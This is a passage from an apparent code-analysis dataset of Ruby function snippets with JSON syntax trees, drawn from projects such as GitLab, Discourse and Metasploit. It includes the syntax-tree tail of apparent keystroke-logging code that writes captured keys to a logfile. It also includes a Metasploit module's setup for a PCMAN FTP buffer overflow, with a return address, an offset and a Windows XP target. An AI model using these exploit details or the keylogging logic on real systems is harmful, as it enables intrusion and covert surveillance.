\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kc\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kc\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kc\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^.$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"shift|click\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},null]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"> \"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" <0x%.2x> \"]},\"%\",{\"type\":\"lvar\",\"children\":[\"vk\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"file_local_write\",{\"type\":\"lvar\",\"children\":[\"logfile\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outp\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]}","id":"a3cb333a-66a8-4a13-8873-d0bb6f2892ba"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/app_screenshot.rb","start_line":357,"raw_source":"def self.resolve_ipadpro_conflict_if_needed(screen_size, filename)\n      is_3rd_gen = [\n        \"iPad Pro (12.9-inch) (3rd generation)\", # Default simulator has this name\n        \"iPad Pro (12.9-inch) (4th generation)\", # Default simulator has this name\n        \"iPad Pro (12.9-inch) (5th generation)\", # Default simulator has this name\n        \"iPad Pro (12.9-inch) (6th generation)\", # Default simulator has this name\n        \"IPAD_PRO_3GEN_129\", # Screenshots downloaded from App Store Connect has this name\n        \"ipadPro129\" # Legacy: screenshots downloaded from iTunes Connect used to have this name\n      ].any? { |key| filename.include?(key) }\n      if is_3rd_gen\n        if screen_size == ScreenSize::IOS_IPAD_PRO\n          return ScreenSize::IOS_IPAD_PRO_12_9\n        elsif screen_size == ScreenSize::IOS_IPAD_PRO_MESSAGES\n          return ScreenSize::IOS_IPAD_PRO_12_9_MESSAGES\n        end\n      end\n      screen_size\n    end","complexity_score":9.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resolve_ipadpro_conflict_if_needed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screen_size\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_3rd_gen\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (3rd generation)\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (4th generation)\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (5th generation)\"]},{\"type\":\"str\",\"children\":[\"iPad Pro (12.9-inch) (6th generation)\"]},{\"type\":\"str\",\"children\":[\"IPAD_PRO_3GEN_129\"]},{\"type\":\"str\",\"children\":[\"ipadPro129\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_3rd_gen\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen_size\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_12_9\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen_size\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_MESSAGES\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_PRO_12_9_MESSAGES\"]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"screen_size\"]}]}]}","id":"7343f881-a926-4215-8b38-901786da3e48"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":467,"raw_source":"def refresh_audience_segment\n    AudienceSegmentRefreshWorker.perform_async(audience_segment_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_audience_segment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AudienceSegmentRefreshWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"audience_segment_id\"]}]}]}","id":"f7849e48-ee44-4d06-8285-2741c0d894a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/pcman_put.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',\n        'Description' => %q{\n          This module exploits a buffer overflow vulnerability found in the PUT command of the\n          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous\n          credentials are enabled.\n        },\n        'Author' => [\n          'Jay Turla', # Initial Discovery -- @shipcod3\n          'Chris Higgins' # msf Module -- @ch1gg1ns\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-4730' ],\n          [ 'EDB', '37731'],\n          [ 'OSVDB', '94624']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process'\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x0A\\x0D\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Windows XP SP3 English',\n            {\n              'Ret' => 0x77c35459, # push esp ret C:\\WINDOWS\\system32\\msvcrt.dll\n              'Offset' => 2007\n            }\n          ],\n        ],\n        'DisclosureDate' => '2015-08-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PCMAN FTP Server Buffer Overflow - PUT Command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow vulnerability found in the PUT command of the\\n\"]},{\"type\":\"str\",\"children\":[\"          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous\\n\"]},{\"type\":\"str\",\"children\":[\"          credentials are enabled.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jay Turla\"]},{\"type\":\"str\",\"children\":[\"Chris Higgins\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-4730\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"37731\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"94624\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP3 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2009289817]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[2007]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-08-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"e9554e7b-b349-4137-84bd-3f403435691a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/user_mapping/reassignment_csv_validator.rb","start_line":35,"raw_source":"def formatted_errors\n        return if errors.empty?\n\n        safe_format(\n          s_('UserMapping|The following errors are preventing the sheet from being processed: %{errors}'),\n          { errors: errors.join(' ') }\n        )\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"UserMapping|The following errors are preventing the sheet from being processed: %{errors}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}]}","id":"b3774940-8157-46b8-87e5-8fe5e31a98a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/cleanup_tags_base_service.rb","start_line":38,"raw_source":"def partition_by_keep_n(tags)\n        return [tags, []] unless keep_n\n\n        tags = order_by_date_desc(tags)\n\n        tags.partition.with_index { |_, index| index >= keep_n_as_integer }\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"partition_by_keep_n\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keep_n\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[null,\"order_by_date_desc\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"partition\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"keep_n_as_integer\"]}]}]}]}]}","id":"c7341743-c908-4df4-8ed8-fb739c851fe5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_imported_from_github.rb","start_line":74,"raw_source":"def trigger_project_mirror\n        Runtime::Logger.info \"Triggering pull mirror request\"\n\n        Support::Retrier.retry_until(max_attempts: 6, sleep_interval: 10) do\n          response = post(request_url(api_trigger_mirror_pull_path), nil)\n\n          Runtime::Logger.info \"Mirror pull request response: #{response}\"\n          response.code == Support::API::HTTP_STATUS_OK\n        end\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_project_mirror\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Triggering pull mirror request\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_attempts\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"send\",\"children\":[null,\"api_trigger_mirror_pull_path\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mirror pull request response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"API\"]},\"HTTP_STATUS_OK\"]}]}]}]}]}]}","id":"7309195b-f7ad-49ab-98b5-5211a0e9501e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/users_controller.rb","start_line":78,"raw_source":"def ssh_keys\n    keys = user.all_ssh_keys.join(\"\\n\")\n    keys << \"\\n\" unless keys.empty?\n    render plain: keys\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"all_ssh_keys\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}]}]}","id":"fb062505-fd29-431b-b3eb-833a0c6d8bdf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output.rb","start_line":70,"raw_source":"def initialize\n      super\n      @prefer_buffered_processing = nil\n      @prefer_delayed_commit = nil\n      @process = nil\n      @format = nil\n      @write = nil\n      @try_write = nil\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@prefer_buffered_processing\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefer_delayed_commit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@process\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@write\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@try_write\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"54b03bf2-27b5-41db-82bc-cb0a9db62485"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_helper.rb","start_line":190,"raw_source":"def hashes_of_target_empty?(hashes, target)\n    hashes.blank? || (hashes[:storages].blank? &&\n    case target\n    when VmOrTemplate\n      hashes[:vms].blank?\n    when Host\n      hashes[:hosts].blank?\n    when EmsFolder\n      hashes[:folders].blank?\n    end)\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hashes_of_target_empty?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hashes\"]},{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storages\"]}]},\"blank?\"]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vms\"]}]},\"blank?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hosts\"]}]},\"blank?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsFolder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"folders\"]}]},\"blank?\"]}]},null]}]}]}]}]}","id":"c6146837-af30-40f1-ac97-06dea9bb33ee"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1555,"raw_source":"def notifier\n    @topic_notifier ||= TopicNotifier.new(self)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@topic_notifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicNotifier\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"209463b2-1f08-4f3b-bac6-f97c25d91543"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":1282,"raw_source":"def self.extract_references(references)\n      if Array === references\n        references\n      elsif references.present?\n        references.split(/[\\s,]/).map { |r| Email::MessageIdService.message_id_clean(r) }\n      end\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extract_references\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"references\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"references\"]}]},{\"type\":\"lvar\",\"children\":[\"references\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\s,]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"MessageIdService\"]},\"message_id_clean\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},null]}]}]}","id":"240e99ef-5712-4ecf-bd9e-f140b07a21ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/strategies/order_values_loader_strategy.rb","start_line":30,"raw_source":"def null_with_type_cast(column_data)\n              column_name = column_data.original_column_name.to_s\n              active_record_column = model.columns_hash[column_name]\n\n              type = active_record_column ? active_record_column.sql_type : column_data.column.sql_type\n\n              \"NULL::#{type} AS #{column_name}\"\n            end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"null_with_type_cast\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_data\"]},\"original_column_name\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"active_record_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"columns_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_record_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_record_column\"]},\"sql_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_data\"]},\"column\"]},\"sql_type\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NULL::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}]}","id":"e027a7e8-4c58-4b99-ab19-99759688a6f6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/distributed_mutex.rb","start_line":46,"raw_source":"def synchronize\n    result = nil\n\n    @mutex.synchronize do\n      expire_time = get_lock\n\n      begin\n        result = yield\n      ensure\n        current_time = redis.time[0]\n        if current_time > expire_time\n          warn(\n            \"held for too long, expected max: #{@validity} secs, took an extra #{current_time - expire_time} secs\",\n          )\n        end\n\n        unlocked = UNLOCK_SCRIPT.eval(redis, [prefixed_key], [expire_time.to_s])\n        if !unlocked && current_time <= expire_time\n          warn(\"the redis key appears to have been tampered with before expiration\")\n        end\n      end\n    end\n\n    result\n  end","complexity_score":38.3,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expire_time\",{\"type\":\"send\",\"children\":[null,\"get_lock\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"time\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\">\",{\"type\":\"lvar\",\"children\":[\"expire_time\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"held for too long, expected max: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validity\"]}]},{\"type\":\"str\",\"children\":[\" secs, took an extra \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"expire_time\"]}]}]},{\"type\":\"str\",\"children\":[\" 